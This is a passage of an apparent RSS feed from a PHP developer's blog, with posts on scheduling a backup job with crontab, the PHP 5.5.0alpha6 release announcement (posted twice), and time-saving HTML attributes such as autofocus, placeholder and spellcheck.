&lt;h3 style=&quot;font: 1.28em/1.22em &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.83em 0px 0.61em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;5. Execute 11 p.m on weekdays.&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
&lt;pre style=&quot;font: 0.85em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;0 23 * * 1-5 /root/bin/incremental-backup.sh&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;
&lt;h3 style=&quot;font: 1.28em/1.22em &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.83em 0px 0.61em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Crontab Options&lt;/h3&gt;
&lt;/div&gt;
&lt;div style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.57em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot; align=&quot;left&quot;&gt;Following are the available options with crontab:&lt;/div&gt;
&lt;center style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;
&lt;ul style=&quot;font: 14px/21.98px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; list-style: square; margin: 0px 0px 1.57em 1.57em; padding: 0px; color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;
    &lt;div align=&quot;left&quot;&gt;crontab &amp;ndash;e : Edit the crontab file. This will create a crontab, if it doesn&amp;rsquo;t exist&lt;/div&gt;
    &lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;
    &lt;div align=&quot;left&quot;&gt;crontab &amp;ndash;l : Display the crontab file.&lt;/div&gt;
    &lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;
    &lt;div align=&quot;left&quot;&gt;crontab -r : Remove the crontab file.&lt;/div&gt;
    &lt;/li&gt;
    &lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;
    &lt;div align=&quot;left&quot;&gt;crontab -ir : This will prompt user before deleting a crontab.&lt;/div&gt;
    &lt;/li&gt;
&lt;/ul&gt;
&lt;/center&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
								         <pubDate>Tue, 02 Apr 2013 23:34:25 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/71/How-to-add-a-job-to-crontab-and-set-simple-email-address?</guid>
								      </item>								      <item>
								         <title>PHP 5.5.0alpha6 released PHP Expert India</title>
								         <link>http://www.nileshpawar.com/70/PHP-5.5.0alpha6-released-PHP-Expert-India</link>
								         <description>&lt;p&gt;The PHP development team announces the release of PHP 5.5.0alpha6. This release fixes some bugs from alpha5. It also serves as a delay for our next release, beta1, integrating ZendOptimizer+ OPCode cache which is not ready yet to be merged. All users of PHP are encouraged to test this version carefully, and report any bugs in the bug tracking system.&lt;/p&gt;
&lt;p&gt;THIS IS A DEVELOPMENT PREVIEW - DO NOT USE IT IN PRODUCTION!&lt;br /&gt;
PHP 5.5.0alpha6 is shipped with improvements. Here is an incomplete list:&lt;/p&gt;
&lt;p&gt;Fixed a bug where uninitialized ++$foo-&amp;gt;bar; does not cause a notice,&lt;br /&gt;
Updated bundled PCRE 8.32,&lt;br /&gt;
Fixed a bug in ext/sockets where sendmsg/recvmsg shutdown handler causes segfault&lt;br /&gt;
You can read the full list of changes in the NEWS file contained in the release archive.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 5.5.0alpha6 please visit the download page, Windows binaries can be found on windows.php.net/qa/.&lt;/p&gt;
&lt;p&gt;Our first beta should show up on 21st of March.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://php.net/&quot;&gt;http://php.net/&lt;/a&gt;&lt;/p&gt;</description>
								         <pubDate>Mon, 18 Mar 2013 04:54:37 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/70/PHP-5.5.0alpha6-released-PHP-Expert-India</guid>
								      </item>								      <item>
								         <title>PHP 5.5.0alpha6 released - PHP Experts India</title>
								         <link>http://www.nileshpawar.com/69/PHP-5.5.0alpha6-released---PHP-Experts-India</link>
								         <description>&lt;p&gt;The PHP development team announces the release of PHP 5.5.0alpha6. This release fixes some bugs from alpha5. It also serves as a delay for our next release, beta1, integrating ZendOptimizer+ OPCode cache which is not ready yet to be merged. All users of PHP are encouraged to test this version carefully, and report any bugs in the bug tracking system.&lt;/p&gt;
&lt;p&gt;THIS IS A DEVELOPMENT PREVIEW - DO NOT USE IT IN PRODUCTION!&lt;br /&gt;
PHP 5.5.0alpha6 is shipped with improvements. Here is an incomplete list:&lt;/p&gt;
&lt;p&gt;Fixed a bug where uninitialized ++$foo-&amp;gt;bar; does not cause a notice,&lt;br /&gt;
Updated bundled PCRE 8.32,&lt;br /&gt;
Fixed a bug in ext/sockets where sendmsg/recvmsg shutdown handler causes segfault&lt;br /&gt;
You can read the full list of changes in the NEWS file contained in the release archive.&lt;/p&gt;
&lt;p&gt;For source downloads of PHP 5.5.0alpha6 please visit the download page, Windows binaries can be found on windows.php.net/qa/.&lt;/p&gt;
&lt;p&gt;Our first beta should show up on 21st of March.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;For more information visit : &lt;a href=&quot;http://php.net/&quot;&gt;http://php.net/&lt;/a&gt;&amp;nbsp;&lt;/p&gt;</description>
								         <pubDate>Mon, 11 Mar 2013 00:23:23 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/69/PHP-5.5.0alpha6-released---PHP-Experts-India</guid>
								      </item>								      <item>
								         <title>6 Nifty, Time-Saving HTML Attributes</title>
								         <link>http://www.nileshpawar.com/68/6-Nifty,-Time-Saving-HTML-Attributes</link>
								         <description>&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;1. The Autofocus Attribute&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;autofocus&lt;/code&gt;&amp;nbsp;attribute is an attribute you can give to an&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&amp;lt;input&amp;gt;&lt;/code&gt;,&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;&amp;nbsp;or&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&amp;lt;button&amp;gt;&lt;/code&gt;&amp;nbsp;element in your HTML. Including this attribute will &amp;lsquo;auto focus&amp;rsquo; the element &amp;ndash; that is, it will let you start typing instantly (in the case of a text field) or hit Enter (in the case of a button).&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;autofocus&lt;/code&gt;&amp;nbsp;attribute is a boolean attribute, meaning that it will do its job no matter what value you give it.&lt;em style=&quot;margin: 0px; padding: 0px;&quot;&gt;Boolean&lt;/em&gt;, if you didn&amp;rsquo;t know, refers to the concept that something is either on or off, true or false, there or not there &amp;ndash; the same concept as binary code.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Usage&lt;/h3&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&amp;lt;input type=&amp;quot;text&amp;quot; autofocus=&amp;quot;&amp;quot; /&amp;gt; &amp;lt;!-- Works with input of any type --&amp;gt; &amp;lt;textarea autofocus=&amp;quot;&amp;quot;&amp;gt;Enter Text Here&amp;lt;/textarea&amp;gt; &amp;lt;button autofocus=&amp;quot;&amp;quot;&amp;gt;Click Me!&amp;lt;/button&amp;gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Since only one HTML element can be focused at a time, you should only use the&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;autofocus&lt;/code&gt;&amp;nbsp;attribute once in your HTML source. However, if you do happen to include it more than once, it will be the last element with the attribute that gets the focus.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;You can use the&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;autofocus&lt;/code&gt;&amp;nbsp;attribute to save a bit of time for your users if you have a web page where an input field or button is the center of attention &amp;ndash; such as a contact page or search page. Google does this nicely by auto focusing the search box on its home page.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;As well as saving time for your users, the&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;autofocus&lt;/code&gt;&amp;nbsp;attribute also saves time for you as the coder. If it didn&amp;rsquo;t exist, you would need to write a line or two of JavaScript to achieve the same effect. I don&amp;rsquo;t know about you, but I find the attribute much simpler and quicker.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;autofocus&lt;/code&gt;&amp;nbsp;attribute is supported by Internet Explorer 10, Google Chrome, Mozilla Firefox and Safari, but&amp;nbsp;&lt;em style=&quot;margin: 0px; padding: 0px;&quot;&gt;not&lt;/em&gt;&amp;nbsp;by Opera or older versions of IE.&lt;/p&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;2. The Placeholder Attribute&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;placeholder&lt;/code&gt;&amp;nbsp;attribute too works with the&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&amp;lt;input&amp;gt;&lt;/code&gt;&amp;nbsp;and&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;&amp;nbsp;elements. Like the&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;value&lt;/code&gt;&amp;nbsp;attribute, the&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;placeholder&lt;/code&gt;&amp;nbsp;attribute displays default text in the field, but unlike the&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;value&lt;/code&gt;&amp;nbsp;attribute, the text is automatically cleared once you start typing, and the text is not submitted with the form should you not enter any of your own text.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Usage&lt;/h3&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&amp;lt;input type=&amp;quot;text&amp;quot; placeholder=&amp;quot;Email Address&amp;quot; /&amp;gt; &amp;lt;textarea placeholder=&amp;quot;Message&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt;&lt;/pre&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;As demonstrated in the code above, the&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;placeholder&lt;/code&gt;&amp;nbsp;attribute can be used for contact forms, as well as email submission forms, search forms or virtually anywhere where your users will be inputting text. It works nicely as a hint as to what the user should type in.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Before the&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;placeholder&lt;/code&gt;&amp;nbsp;attribute was introduced, you would have to write a few JavaScript event handlers to handle placeholder text. Using this attribute saves you the time and effort.&lt;/p&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;The&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;placeholder&lt;/code&gt;&amp;nbsp;attribute is supported by Opera, Google Chrome, Mozilla Firefox and Safari, but&amp;nbsp;&lt;em style=&quot;margin: 0px; padding: 0px;&quot;&gt;not&lt;/em&gt;&amp;nbsp;by any current version of Internet Explorer.&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Live Demo&lt;/h3&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&lt;input style=&quot;border-width: 0.06em; border-style: solid; border-color: rgb(170, 170, 170) rgb(221, 221, 221) rgb(221, 221, 221) rgb(170, 170, 170); margin: 0px; padding: 0.2em; width: 319.5px; color: rgb(68, 68, 68); font-family: &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; font-size: 1em; background-color: rgb(238, 238, 238);&quot; type=&quot;text&quot; placeholder=&quot;Start typing here!&quot; /&gt;&lt;/p&gt;
&lt;h2 style=&quot;font: bold 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;3. The Spellcheck Attribute&lt;/h2&gt;
&lt;p style=&quot;font: 15px/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 0px 0px 1.46em; padding: 0px; color: rgb(0, 0, 0); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Sticking with the theme of attributes for text field elements, the&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;spellcheck&lt;/code&gt;&amp;nbsp;attribute is used to either enable or disable browser spellcheck. It takes a value of either&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;true&lt;/code&gt;&amp;nbsp;(to enable spellcheck) or&amp;nbsp;&lt;code style=&quot;margin: 0px; padding: 0px; color: rgb(17, 17, 17); line-height: 1em; font-family: Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; font-size: 0.93em; background-color: rgb(238, 238, 238);&quot;&gt;false&lt;/code&gt;&amp;nbsp;(to disable spellcheck).&lt;/p&gt;
&lt;h3 style=&quot;font: 1.26em/22px &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif; margin: 1.73em 0px 0.57em; padding: 0px; color: rgb(0, 113, 216); text-transform: none; text-indent: 0px; letter-spacing: normal; word-spacing: 0px; white-space: normal; background-color: rgb(255, 255, 255); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;Usage&lt;/h3&gt;
&lt;pre style=&quot;font: 0.8em/1.5em Consolas, &amp;quot;Andale Mono&amp;quot;, Monaco, Courier, &amp;quot;Courier New&amp;quot;, Verdana, sans-serif; margin: 0px 0px 1.83em; padding: 0.66em 0.91em; border: 1px solid rgb(221, 221, 221); color: rgb(17, 17, 17); text-transform: none; text-indent: 0px; letter-spacing: normal; overflow: auto; clear: both; word-spacing: 0px; background-color: rgb(238, 238, 238); -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px;&quot;&gt;&amp;lt;input type=&amp;quot;text&amp;quot; spellcheck=&amp;quot;false&amp;quot; /&amp;gt; &amp;lt;!-- Spellcheck disabled --&amp;gt; &amp;lt;textarea spellcheck=&amp;quot;true&amp;quot;&amp;gt;&amp;lt;/textarea&amp;gt; &amp;lt;!-- Spellcheck enabled --&amp;gt;&lt;/pre&gt;
